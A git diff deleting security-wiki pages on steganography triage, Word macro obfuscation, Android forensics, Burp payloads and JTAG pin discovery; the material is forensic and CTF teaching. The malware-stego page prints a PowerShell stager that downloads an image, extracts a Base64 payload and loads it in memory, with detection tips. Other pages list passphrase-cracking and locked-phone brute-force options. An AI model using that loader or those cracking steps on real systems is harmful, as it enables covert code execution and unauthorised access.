diff --git a/src/reversing/word-macros.md b/src/reversing/word-macros.md
deleted file mode 100644
index bece95baa27..00000000000
--- a/src/reversing/word-macros.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# Word Macros
-
-{{#include ../banners/hacktricks-training.md}}
-
-### Junk Code
-
-It's very common to find **junk code that is never used** to make the reversing of the macro more difficult.\
-For example, in the following image you can see that and If that is never going to be true is used to execute some junk and useless code.
-
-![Word Macros - Junk Code: For example, in the following image you can see that and If that is never going to be true is used to execute some junk and useless code](<../images/image (369).png>)
-
-### Macro Forms
-
-Using the **GetObject** function it's possible to obtain data from forms of the macro. This can be used to difficult the analysis. The following is a photo of a macro form used to **hide data inside text boxes** (a text box can be hiding other text boxes):
-
-![Junk Code - Macro Forms: Using the GetObject function it's possible to obtain data from forms of the macro. This can be used to difficult the analysis. The following is a photo of a...](<../images/image (344).png>)
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/robots.txt b/src/robots.txt
deleted file mode 100644
index 51d5798edb7..00000000000
--- a/src/robots.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-Sitemap: https://hacktricks.wiki/sitemap.xml
-
-User-agent: *
-Disallow:
diff --git a/src/stego/README.md b/src/stego/README.md
deleted file mode 100644
index fea7c0e2377..00000000000
--- a/src/stego/README.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Stego
-
-{{#include ../banners/hacktricks-training.md}}
-
-This section focuses on **finding and extracting hidden data** from files (images/audio/video/documents/archives) and from text-based steganography.
-
-If you're here for cryptographic attacks, go to the **Crypto** section.
-
-## Entry Point
-
-Approach steganography as a forensics problem: identify the real container, enumerate high-signal locations (metadata, appended data, embedded files), and only then apply content-level extraction techniques.
-
-### Workflow & triage
-
-A structured workflow that prioritizes container identification, metadata/string inspection, carving, and format-specific branching.
-{{#ref}}
-workflow/README.md
-{{#endref}}
-
-### Images
-
-Where most CTF stego lives: LSB/bit-planes (PNG/BMP), chunk/file-format weirdness, JPEG tooling, and multi-frame GIF tricks.
-{{#ref}}
-images/README.md
-{{#endref}}
-
-### Audio
-
-Spectrogram messages, sample LSB embedding, and telephone keypad tones (DTMF) are recurring patterns.
-{{#ref}}
-audio/README.md
-{{#endref}}
-
-### Text
-
-If text renders normally but behaves unexpectedly, consider Unicode homoglyphs, zero-width characters, or whitespace-based encoding.
-{{#ref}}
-text/README.md
-{{#endref}}
-
-### Documents
-
-PDFs and Office files are containers first; attacks usually revolve around embedded files/streams, object/relationship graphs, and ZIP extraction.
-{{#ref}}
-documents/README.md
-{{#endref}}
-
-### Malware and delivery-style steganography
-
-Payload delivery frequently uses valid-looking files (e.g., GIF/PNG) that carry marker-delimited text payloads, rather than pixel-level hiding.
-{{#ref}}
-malware-and-network/README.md
-{{#endref}}
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/stego/audio/README.md b/src/stego/audio/README.md
deleted file mode 100644
index 0dc9c85a350..00000000000
--- a/src/stego/audio/README.md
+++ /dev/null
@@ -1,109 +0,0 @@
-# Audio Steganography
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Common patterns:
-
-- Spectrogram messages
-- WAV LSB embedding
-- DTMF / dial tones encoding
-- Metadata payloads
-
-## Quick triage
-
-Before specialized tooling:
-
-- Confirm codec/container details and anomalies:
-  - `file audio`
-  - `ffmpeg -v info -i audio -f null -`
-- If the audio contains noise-like content or tonal structure, inspect a spectrogram early.
-
-```bash
-ffmpeg -v info -i stego.mp3 -f null -
-```
-
-## Spectrogram steganography
-
-### Technique
-
-Spectrogram stego hides data by shaping energy over time/frequency so it becomes visible only in a time-frequency plot (often inaudible or perceived as noise).
-
-### Sonic Visualiser
-
-Primary tool for spectrogram inspection:
-
-- [https://www.sonicvisualiser.org/](https://www.sonicvisualiser.org/)
-
-### Alternatives
-
-- Audacity (spectrogram view, filters): https://www.audacityteam.org/
-- `sox` can generate spectrograms from the CLI:
-
-```bash
-sox input.wav -n spectrogram -o spectrogram.png
-```
-
-## FSK / modem decoding
-
-Frequency-shift keyed audio often looks like alternating single tones in a spectrogram. Once you have a rough center/shift and baud estimate, brute force with `minimodem`:
-
-```bash
-# Visualize the band to pick baud/frequency
-sox noise.wav -n spectrogram -o spec.png
-
-# Try common bauds until printable text appears
-minimodem -f noise.wav 45
-minimodem -f noise.wav 300
-minimodem -f noise.wav 1200
-minimodem -f noise.wav 2400
-```
-
-`minimodem` autogains and autodetects mark/space tones; adjust `--rx-invert` or `--samplerate` if the output is garbled.
-
-## WAV LSB
-
-### Technique
-
-For uncompressed PCM (WAV), each sample is an integer. Modifying low bits changes the waveform very slightly, so attackers can hide:
-
-- 1 bit per sample (or more)
-- Interleaved across channels
-- With a stride/permutation
-
-Other audio-hiding families you may encounter:
-
-- Phase coding
-- Echo hiding
-- Spread-spectrum embedding
-- Codec-side channels (format-dependent and tool-dependent)
-
-### WavSteg
-
-From: https://github.com/ragibson/Steganography#WavSteg
-
-```bash
-python3 WavSteg.py -r -b 1 -s sound.wav -o out.bin
-python3 WavSteg.py -r -b 2 -s sound.wav -o out.bin
-```
-
-### DeepSound
-
-- [http://jpinsoft.net/deepsound/download.aspx](http://jpinsoft.net/deepsound/download.aspx)
-
-## DTMF / dial tones
-
-### Technique
-
-DTMF encodes characters as pairs of fixed frequencies (telephone keypad). If the audio resembles keypad tones or regular dual-frequency beeps, test DTMF decoding early.
-
-Online decoders:
-
-- [https://unframework.github.io/dtmf-detect/](https://unframework.github.io/dtmf-detect/)
-- [http://dialabc.com/sound/detect/index.html](http://dialabc.com/sound/detect/index.html)
-
-## References
-
-- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/stego/documents/README.md b/src/stego/documents/README.md
deleted file mode 100644
index b684bf40846..00000000000
--- a/src/stego/documents/README.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# Document Steganography
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Documents are often just containers:
-
-- PDF (embedded files, streams)
-- Office OOXML (`.docx/.xlsx/.pptx` are ZIPs)
-- RTF / OLE legacy formats
-
-## PDF
-
-### Technique
-
-PDF is a structured container with objects, streams, and optional embedded files. In CTFs you often need to:
-
-- Extract embedded attachments
-- Decompress/flatten object streams so you can search content
-- Identify hidden objects (JS, embedded images, odd streams)
-
-### Quick checks
-
-```bash
-pdfinfo file.pdf
-pdfdetach -list file.pdf
-pdfdetach -saveall file.pdf
-qpdf --qdf --object-streams=disable file.pdf out.pdf
-```
-
-Then search inside `out.pdf` for suspicious objects/strings.
-
-## Office OOXML
-
-### Technique
-
-Treat OOXML as a ZIP + XML relationship graph; payloads often hide in media, relationships, or odd custom parts.
-
-OOXML files are ZIP containers. That means:
-
-- The document is a directory tree of XML and assets.
-- The `_rels/` relationship files can point to external resources or hidden parts.
-- Embedded data frequently lives in `word/media/`, custom XML parts, or unusual relationships.
-
-### Quick checks
-
-```bash
-7z l file.docx
-7z x file.docx -oout
-```
-
-Then inspect:
-
-- `word/document.xml`
-- `word/_rels/` for external relationships
-- embedded media in `word/media/`
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/stego/images/README.md b/src/stego/images/README.md
deleted file mode 100644
index cb5db7ebd34..00000000000
--- a/src/stego/images/README.md
+++ /dev/null
@@ -1,246 +0,0 @@
-# Image Steganography
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Most CTF image stego reduces to one of these buckets:
-
-- LSB/bit-planes (PNG/BMP)
-- Metadata/comment payloads
-- PNG chunk weirdness / corruption repair
-- JPEG DCT-domain tools (OutGuess, etc)
-- Frame-based (GIF/APNG)
-
-## Quick triage
-
-Prioritize container-level evidence before deep content analysis:
-
-- Validate the file and inspect structure: `file`, `magick identify -verbose`, format validators (e.g., `pngcheck`).
-- Extract metadata and visible strings: `exiftool -a -u -g1`, `strings`.
-- Check for embedded/appended content: `binwalk` and end-of-file inspection (`tail | xxd`).
-- Branch by container:
-  - PNG/BMP: bit-planes/LSB and chunk-level anomalies.
-  - JPEG: metadata + DCT-domain tooling (OutGuess/F5-style families).
-  - GIF/APNG: frame extraction, frame differencing, palette tricks.
-
-## Bit-planes / LSB
-
-### Technique
-
-PNG/BMP are popular in CTFs because they store pixels in a way that makes **bit-level manipulation** easy. The classic hide/extract mechanism is:
-
-- Each pixel channel (R/G/B/A) has multiple bits.
-- The **least significant bit** (LSB) of each channel changes the image very little.
-- Attackers hide data in those low-order bits, sometimes with a stride, permutation, or per-channel choice.
-
-What to expect in challenges:
-
-- The payload is in one channel only (e.g., `R` LSB).
-- The payload is in the alpha channel.
-- Payload is compressed/encoded after extraction.
-- The message is spread across planes or hidden via XOR between planes.
-
-Additional families you may encounter (implementation-dependent):
-
-- **LSB matching** (not just flipping the bit, but +/-1 adjustments to match target bit)
-- **Palette/index-based hiding** (indexed PNG/GIF: payload in color indices rather than raw RGB)
-- **Alpha-only payloads** (completely invisible in RGB view)
-
-### Tooling
-
-#### zsteg
-
-`zsteg` enumerates many LSB/bit-plane extraction patterns for PNG/BMP:
-
-```bash
-zsteg -a file.png
-```
-
-Repo: https://github.com/zed-0xff/zsteg
-
-#### StegoVeritas / Stegsolve
-
-- `stegoVeritas`: runs a battery of transforms (metadata, image transforms, brute forcing LSB variants).
-- `stegsolve`: manual visual filters (channel isolation, plane inspection, XOR, etc).
-
-Stegsolve download: https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve
-
-#### FFT-based visibility tricks
-
-FFT is not LSB extraction; it is for cases where content is deliberately hidden in frequency space or subtle patterns.
-
-- EPFL demo: http://bigwww.epfl.ch/demo/ip/demos/FFT/
-- Fourifier: https://www.ejectamenta.com/Fourifier-fullscreen/
-- FFTStegPic: https://github.com/0xcomposure/FFTStegPic
-
-Web-based triage often used in CTFs:
-
-- Aperi’Solve: https://aperisolve.com/
-- StegOnline: https://stegonline.georgeom.net/
-
-## PNG internals: chunks, corruption, and hidden data
-
-### Technique
-
-PNG is a chunked format. In many challenges the payload is stored at the container/chunk level rather than in pixel values:
-
-- **Extra bytes after `IEND`** (many viewers ignore trailing bytes)
-- **Non-standard ancillary chunks** carrying payloads
-- **Corrupted headers** that hide dimensions or break parsers until fixed
-
-High-signal chunk locations to review:
-
-- `tEXt` / `iTXt` / `zTXt` (text metadata, sometimes compressed)
-- `iCCP` (ICC profile) and other ancillary chunks used as a carrier
-- `eXIf` (EXIF data in PNG)
-
-### Triage commands
-
-```bash
-magick identify -verbose file.png
-pngcheck -v file.png
-```
-
-What to look for:
-
-- Weird width/height/bit-depth/colour-type combinations
-- CRC/chunk errors (pngcheck usually points to the exact offset)
-- Warnings about additional data after `IEND`
-
-If you need a deeper chunk view:
-
-```bash
-pngcheck -vp file.png
-exiftool -a -u -g1 file.png
-```
-
-Useful references:
-
-- PNG specification (structure, chunks): https://www.w3.org/TR/PNG/
-- File format tricks (PNG/JPEG/GIF corner cases): https://github.com/corkami/docs
-
-## JPEG: metadata, DCT-domain tools, and ELA limitations
-
-### Technique
-
-JPEG is not stored as raw pixels; it’s compressed in the DCT domain. That’s why JPEG stego tools differ from PNG LSB tools:
-
-- Metadata/comment payloads are file-level (high-signal and quick to inspect)
-- DCT-domain stego tools embed bits into frequency coefficients
-
-Operationally, treat JPEG as:
-
-- A container for metadata segments (high-signal, quick to inspect)
-- A compressed signal domain (DCT coefficients) where specialized stego tools operate
-
-### Quick checks
-
-```bash
-exiftool file.jpg
-strings -n 6 file.jpg | head
-binwalk file.jpg
-```
-
-High-signal locations:
-
-- EXIF/XMP/IPTC metadata
-- JPEG comment segment (`COM`)
-- Application segments (`APP1` for EXIF, `APPn` for vendor data)
-
-### Common tools
-
-- OutGuess: https://github.com/resurrecting-open-source-projects/outguess
-- OpenStego: https://www.openstego.com/
-
-If you are specifically facing steghide payloads in JPEGs, consider using `stegseek` (faster bruteforce than older scripts):
-
-- [https://github.com/RickdeJager/stegseek](https://github.com/RickdeJager/stegseek)
-
-### Error Level Analysis
-
-ELA highlights different recompression artifacts; it can point you to regions that were edited, but it’s not a stego detector by itself:
-
-- [https://29a.ch/sandbox/2012/imageerrorlevelanalysis/](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
-
-## Animated images
-
-### Technique
-
-For animated images, assume the message is:
-
-- In a single frame (easy), or
-- Spread across frames (ordering matters), or
-- Only visible when you diff consecutive frames
-
-### Extract frames
-
-```bash
-ffmpeg -i anim.gif frame_%04d.png
-```
-
-Then treat frames like normal PNGs: `zsteg`, `pngcheck`, channel isolation.
-
-Alternative tooling:
-
-- `gifsicle --explode anim.gif` (fast frame extraction)
-- `imagemagick`/`magick` for per-frame transforms
-
-Frame differencing is often decisive:
-
-```bash
-magick frame_0001.png frame_0002.png -compose difference -composite diff.png
-```
-
-### APNG pixel-count encoding
-
-- Detect APNG containers: `exiftool -a -G1 file.png | grep -i animation` or `file`.
-- Extract frames without re-timing: `ffmpeg -i file.png -vsync 0 frames/frame_%03d.png`.
-- Recover payloads encoded as per-frame pixel counts:
-
-```python
-from PIL import Image
-import glob
-out = []
-for f in sorted(glob.glob('frames/frame_*.png')):
-    counts = Image.open(f).getcolors()
-    target = dict(counts).get((255, 0, 255, 255))  # adjust the target color
-    out.append(target or 0)
-print(bytes(out).decode('latin1'))
-```
-
-Animated challenges may encode each byte as the count of a specific color in each frame; concatenating the counts reconstructs the message.
-
-## Password-protected embedding
-
-If you suspect embedding protected by a passphrase rather than pixel-level manipulation, this is usually the fastest path.
-
-### steghide
-
-Supports `JPEG, BMP, WAV, AU` and can embed/extract encrypted payloads.
-
-```bash
-steghide info file
-steghide extract -sf file --passphrase 'password'
-```
-
-Repo: https://github.com/StefanoDeVuono/steghide
-
-### StegCracker
-
-```bash
-stegcracker file.jpg wordlist.txt
-```
-
-Repo: https://github.com/Paradoxis/StegCracker
-
-### stegpy
-
-Supports PNG/BMP/GIF/WebP/WAV.
-
-Repo: https://github.com/dhsdshdhk/stegpy
-
-## References
-
-- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/stego/malware-and-network/README.md b/src/stego/malware-and-network/README.md
deleted file mode 100644
index 6fc5432b602..00000000000
--- a/src/stego/malware-and-network/README.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# Malware & Network Stego
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Not all steganography is pixel LSB; commodity malware often hides payloads inside otherwise valid files.
-
-## Practical patterns
-
-### Marker-delimited payloads in valid images
-
-If an image is downloaded and immediately parsed as text/Base64 by a script, the payload is often marker-delimited rather than pixel-hidden.
-
-Commodity loaders increasingly hide Base64 payloads as plain text inside otherwise valid images (often GIF/PNG). Instead of pixel-level LSB, the payload is delimited by unique marker strings embedded in file text/metadata. A stager then:
-
-- Downloads the image over HTTP(S)
-- Locates start/end markers
-- Extracts the between-text and Base64-decodes it
-- Loads/executes in-memory
-
-Minimal PowerShell carving snippet:
-
-```powershell
-$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
-$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
-$s = $img.IndexOf($start); $e = $img.IndexOf($end)
-if($s -ge 0 -and $e -gt $s){
-  $b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
-  $bytes = [Convert]::FromBase64String($b64)
-  [Reflection.Assembly]::Load($bytes) | Out-Null
-}
-```
-
-Notes:
-
-- ATT&CK: T1027.003 (steganography)
-- Detection/hunting:
-  - Scan downloaded images for delimiter strings.
-  - Flag scripts that fetch images and immediately call Base64 decoding routines (PowerShell `FromBase64String`, JS `atob`, etc).
-  - Look for HTTP content-type mismatches (`image/*` response but body contains long ASCII/Base64).
-
-### Other high-signal places to hide payloads
-
-These are typically faster to check than content-level pixel stego:
-
-- **Metadata**: EXIF/XMP/IPTC, PNG `tEXt/iTXt/zTXt`, JPEG `COM`/`APPn` segments.
-- **Trailing bytes**: data appended after the formal end marker (e.g., after PNG `IEND`).
-- **Embedded archives**: a ZIP/7z embedded or appended and extracted by the loader.
-- **Polyglots**: files crafted to be valid under multiple parsers (e.g., image + script + archive).
-
-### Triage commands
-
-```bash
-file sample
-exiftool -a -u -g1 sample
-strings -n 8 sample | head
-binwalk sample
-binwalk -e sample
-```
-
-References:
-
-- Unit 42 example: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
-- MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
-- File format polyglots and container tricks: https://github.com/corkami/docs
-- Aperi’Solve (web-based stego triage): https://aperisolve.com/
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/stego/text/README.md b/src/stego/text/README.md
deleted file mode 100644
index 6b907858918..00000000000
--- a/src/stego/text/README.md
+++ /dev/null
@@ -1,59 +0,0 @@
-# Text Steganography
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Look for:
-
-- Unicode homoglyphs
-- Zero-width characters
-- Whitespace patterns (spaces vs tabs)
-
-## Practical path
-
-If plain text behaves unexpectedly, inspect codepoints and normalize carefully (do not destroy evidence).
-
-### Technique
-
-Text stego frequently relies on characters that render identically (or invisibly):
-
-- Homoglyphs: different Unicode codepoints that look the same (Latin `a` vs Cyrillic `а`)
-- Zero-width characters: joiners, non-joiners, zero-width spaces
-- Whitespace encodings: spaces vs tabs, trailing spaces, line-length patterns
-
-Additional high-signal cases:
-
-- Bidirectional override/control characters (can visually reorder text)
-- Variation selectors and combining characters used as a covert channel
-
-### Decode helpers
-
-- Unicode homoglyph/zero-width playground: https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder
-
-### Inspect codepoints
-
-```bash
-python3 - <<'PY'
-import sys
-s=sys.stdin.read()
-for i,ch in enumerate(s):
-  if ord(ch) > 127 or ch.isspace():
-    print(i, hex(ord(ch)), repr(ch))
-PY
-```
-
-## CSS `unicode-range` channels
-
-`@font-face` rules can encode bytes in `unicode-range: U+..` entries. Extract the codepoints, concatenate the hex, and decode:
-
-```bash
-grep -o "U+[0-9A-Fa-f]\+" styles.css | tr -d 'U+\n' | xxd -r -p
-```
-
-If ranges contain multiple bytes per declaration, split on commas first and normalize (`tr ',+' '\n'`). Python makes it easy to parse and emit bytes if formatting is inconsistent.
-
-## References
-
-- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
-
-{{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/stego/workflow/README.md b/src/stego/workflow/README.md
deleted file mode 100644
index 60b5aca9be2..00000000000
--- a/src/stego/workflow/README.md
+++ /dev/null
@@ -1,169 +0,0 @@
-# Stego Workflow
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Most stego problems are solved faster by systematic triage than by trying random tools.
-
-## Core flow
-
-### Quick triage checklist
-
-The goal is to answer two questions efficiently:
-
-1. What is the real container/format?
-2. Is the payload in metadata, appended bytes, embedded files, or content-level stego?
-
-#### 1) Identify the container
-
-```bash
-file target
-ls -lah target
-```
-
-If `file` and the extension disagree, trust `file`. Treat common formats as containers when appropriate (e.g., OOXML documents are ZIP files).
-
-#### 2) Look for metadata and obvious strings
-
-```bash
-exiftool target
-strings -n 6 target | head
-strings -n 6 target | tail
-```
-
-Try multiple encodings:
-
-```bash
-strings -e l -n 6 target | head
-strings -e b -n 6 target | head
-```
-
-#### 3) Check for appended data / embedded files
-
-```bash
-binwalk target
-binwalk -e target
-```
-
-If extraction fails but signatures are reported, manually carve offsets with `dd` and re-run `file` on the carved region.
-
-#### 4) If image
-
-- Inspect anomalies: `magick identify -verbose file`
-- If PNG/BMP, enumerate bit-planes/LSB: `zsteg -a file.png`
-- Validate PNG structure: `pngcheck -v file.png`
-- Use visual filters (Stegsolve / StegoVeritas) when content may be revealed by channel/plane transforms
-
-#### 5) If audio
-
-- Spectrogram first (Sonic Visualiser)
-- Decode/inspect streams: `ffmpeg -v info -i file -f null -`
-- If the audio resembles structured tones, test DTMF decoding
-
-### Bread-and-butter tools
-
-These catch the high-frequency container-level cases: metadata payloads, appended bytes, and embedded files disguised by extension.
-
-#### Binwalk
-
-```bash
-binwalk file
-binwalk -e file
-binwalk --dd '.*' file
-```
-
-Repo: https://github.com/ReFirmLabs/binwalk
-
-#### Foremost
-
-```bash
-foremost -i file
-```
-
-Repo: https://github.com/korczis/foremost
-
-#### Exiftool / Exiv2
-
-```bash
-exiftool file
-exiv2 file
-```
-
-#### file / strings
-
-```bash
-file file
-strings -n 6 file
-```
-
-#### cmp
-
-```bash
-cmp original.jpg stego.jpg -b -l
-```
-
-### Containers, appended data, and polyglot tricks
-
-Many steganography challenges are extra bytes after a valid file, or embedded archives disguised by extension.
-
-#### Appended payloads
-
-Many formats ignore trailing bytes. A ZIP/PDF/script can be appended to an image/audio container.
-
-Fast checks:
-
-```bash
-binwalk file
-tail -c 200 file | xxd
-```
-
-If you know an offset, carve with `dd`:
-
-```bash
-dd if=file of=carved.bin bs=1 skip=<offset>
-file carved.bin
-```
-
-#### Magic bytes
-
-When `file` is confused, look for magic bytes with `xxd` and compare to known signatures:
-
-```bash
-xxd -g 1 -l 32 file
-```
-
-#### Zip-in-disguise
-
-Try `7z` and `unzip` even if the extension doesn’t say zip:
-
-```bash
-7z l file
-unzip -l file
-```
-
-### Near-stego oddities
-
-Quick links for patterns that regularly show up adjacent to stego (QR-from-binary, braille, etc).
-
-#### QR codes from binary
-
-If a blob length is a perfect square, it may be raw pixels for an image/QR.
-
-```python
-import math
-math.isqrt(2500)  # 50
-```
-
-Binary-to-image helper:
-
-- [https://www.dcode.fr/binary-image](https://www.dcode.fr/binary-image)
-
-#### Braille
-
-- [https://www.branah.com/braille-translator](https://www.branah.com/braille-translator)
-
-## Reference lists
-
-- [https://0xrick.github.io/lists/stego/](https://0xrick.github.io/lists/stego/)
-- [https://github.com/DominicBreuker/stego-toolkit](https://github.com/DominicBreuker/stego-toolkit)
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/android-forensics.md b/src/todo/android-forensics.md
deleted file mode 100644
index ed1b539ce28..00000000000
--- a/src/todo/android-forensics.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# Android Forensics
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Locked Device
-
-To start extracting data from an Android device it has to be unlocked. If it's locked you can:
-
-- Check if the device has debugging via USB activated.
-- Check for a possible [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
-- Try with [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
-
-## Data Adquisition
-
-Create an [android backup using adb](../mobile-pentesting/android-app-pentesting/adb-commands.md#backup) and extract it using [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
-
-### If root access or physical connection to JTAG interface
-
-- `cat /proc/partitions` (search the path to the flash memory, generally the first entry is _mmcblk0_ and corresponds to the whole flash memory).
-- `df /data` (Discover the block size of the system).
-- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (execute it with the information gathered from the block size).
-
-### Memory
-
-Use Linux Memory Extractor (LiME) to extract the RAM information. It's a kernel extension that should be loaded via adb.
-
-{{#include ../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/burp-suite.md b/src/todo/burp-suite.md
deleted file mode 100644
index b7b7674621e..00000000000
--- a/src/todo/burp-suite.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# Burp Suite
-
-{{#include ../banners/hacktricks-training.md}}
-
-## Basic Payloads
-
-- **Simple List:** Just a list containing an entry in each line
-- **Runtime File:** A list read in runtime (not loaded in memory). For supporting big lists.
-- **Case Modification:** Apply some changes to a list of strings(No change, to lower, to UPPER, to Proper name - First capitalized and the rest to lower-, to Proper Name -First capitalized an the rest remains the same-.
-- **Numbers:** Generate numbers from X to Y using Z step or randomly.
-- **Brute Forcer:** Character set, min & max length.
-
-[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Payload to execute commands and grab the output via DNS requests to burpcollab.
-
-
-{{#ref}}
-https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
-{{#endref}}
-
-[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)
-
-{{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/cookies-policy.md b/src/todo/cookies-policy.md
deleted file mode 100644
index 5944d656dc1..00000000000
--- a/src/todo/cookies-policy.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# Cookies Policy
-
-Last updated: 02/04/2023
-
-### Introduction
-
-This Cookies Policy applies to the following websites owned and operated by HackTricks team ("HackTricks", "we", "us" or "our"):
-
-* hacktricks.wiki
-* [www.hacktricks.wiki](https://www.hacktricks.wiki/)
-* book.hacktricks.wiki
-* cloud.hacktricks.wiki
-
-By using any of these websites, you agree to the use of cookies in accordance with this Cookies Policy. If you do not agree, please disable cookies in your browser settings or refrain from using our websites.
-
-### What are cookies?
-
-Cookies are small text files that are stored on your computer or mobile device when you visit a website. They are widely used to make websites work, improve their functionality, and provide a more personalized user experience.
-
-### How we use cookies
-
-We use cookies on our websites for the following purposes:
-
-1. Essential cookies: These cookies are necessary for the basic functionality of our websites, such as enabling user authentication, maintaining security, and remembering your preferences.
-2. Performance cookies: These cookies help us understand how visitors interact with our websites, by collecting and reporting information anonymously. This allows us to improve our website performance and user experience.
-3. Functionality cookies: These cookies enable our websites to remember choices you make, such as your language or region, to provide a more personalized experience.
-4. Targeting/advertising cookies: These cookies are used to deliver relevant ads and marketing communications based on your interests, browsing history, and interactions with our websites.
-
-Moreover, the pages book.hacktricks.wiki and cloud.hacktricks.wiki are hosted in Gitbook. You can find more information about Gitbooks cookies in [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy).
-
-### Third-party cookies
-
-In addition to our own cookies, we may also use third-party cookies to report website usage statistics, deliver advertisements, and enable social media sharing buttons. The use of third-party cookies is subject to their respective privacy policies.
-
-Managing cookies
-
-Most web browsers allow you to manage cookies through their settings. You can choose to block, delete, or limit the use of cookies on your device. However, please note that disabling cookies may affect the functionality and performance of our websites.
-
-Changes to this Cookies Policy
-
-We may update this Cookies Policy from time to time to reflect changes in our practices or relevant laws. We encourage you to periodically review this page for the latest information on our cookie practices.
-
-### Contact us
-
-If you have any questions or concerns about this Cookies Policy, please contact us at [support@hacktricks.xyz](mailto:support@hacktricks.xyz)
-
-
-
-
diff --git a/src/todo/hardware-hacking/README.md b/src/todo/hardware-hacking/README.md
deleted file mode 100644
index e464ff0b7f4..00000000000
--- a/src/todo/hardware-hacking/README.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Hardware Hacking
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## JTAG
-
-JTAG allows to perform a boundary scan. The boundary scan analyzes certain circuitry, including embedded boundary-scan cells and registers for each pin.
-
-The JTAG standard defines **specific commands for conducting boundary scans**, including the following:
-
-- **BYPASS** allows you to test a specific chip without the overhead of passing through other chips.
-- **SAMPLE/PRELOAD** takes a sample of the data entering and leaving the device when it’s in its normal functioning mode.
-- **EXTEST** sets and reads pin states.
-
-It can also support other commands such as:
-
-- **IDCODE** for identifying a device
-- **INTEST** for the internal testing of the device
-
-You might come across these instructions when you use a tool like the JTAGulator.
-
-### The Test Access Port
-
-Boundary scans include tests of the four-wire **Test Access Port (TAP)**, a general-purpose port that provides **access to the JTAG test support** functions built into a component. TAP uses the following five signals:
-
-- Test clock input (**TCK**) The TCK is the **clock** that defines how often the TAP controller will take a single action (in other words, jump to the next state in the state machine).
-- Test mode select (**TMS**) input TMS controls the **finite state machine**. On each beat of the clock, the device’s JTAG TAP controller checks the voltage on the TMS pin. If the voltage is below a certain threshold, the signal is considered low and interpreted as 0, whereas if the voltage is above a certain threshold, the signal is considered high and interpreted as 1.
-- Test data input (**TDI**) TDI is the pin that sends **data into the chip through the scan cells**. Each vendor is responsible for defining the communication protocol over this pin, because JTAG doesn’t define this.
-- Test data output (**TDO**) TDO is the pin that sends **data out of the chip**.
-- Test reset (**TRST**) input The optional TRST resets the finite state machine **to a known good state**. Alternatively, if the TMS is held at 1 for five consecutive clock cycles, it invokes a reset, the same way the TRST pin would, which is why TRST is optional.
-
-Sometimes you will be able to find those pins marked in the PCB. In other occasions you might need to **find them**.
-
-### Identifying JTAG pins
-
-The fastest but most expensive way to detect JTAG ports is by using the **JTAGulator**, a device created specifically for this purpose (although it can **also detect UART pinouts**).
-
-It has **24 channels** you can connect to the boards pins. Then it performs a **BF attack** of all the possible combinations sending **IDCODE** and **BYPASS** boundary scan commands. If it receives a response, it displays the channel corresponding to each JTAG signal
-
-A cheaper but much slower way of identifying JTAG pinouts is by using the [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) loaded on an Arduino-compatible microcontroller.
-
-Using **JTAGenum**, you’d first **define the pins of the probing** device that you’ll use for the enumeration.You’d have to reference the device’s pinout diagram, and then connect these pins with the test points on your target device.
-
-A **third way** to identify JTAG pins is by **inspecting the PCB** for one of the pinouts. In some cases, PCBs might conveniently provide the **Tag-Connect interface**, which is a clear indication that the board has a JTAG connector, too. You can see what that interface looks like at [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Additionally, inspecting the **datasheets of the chipsets on the PCB** might reveal pinout diagrams that point to JTAG interfaces.
-
-## SDW
-
-SWD is an ARM-specific protocol designed for debugging.
-
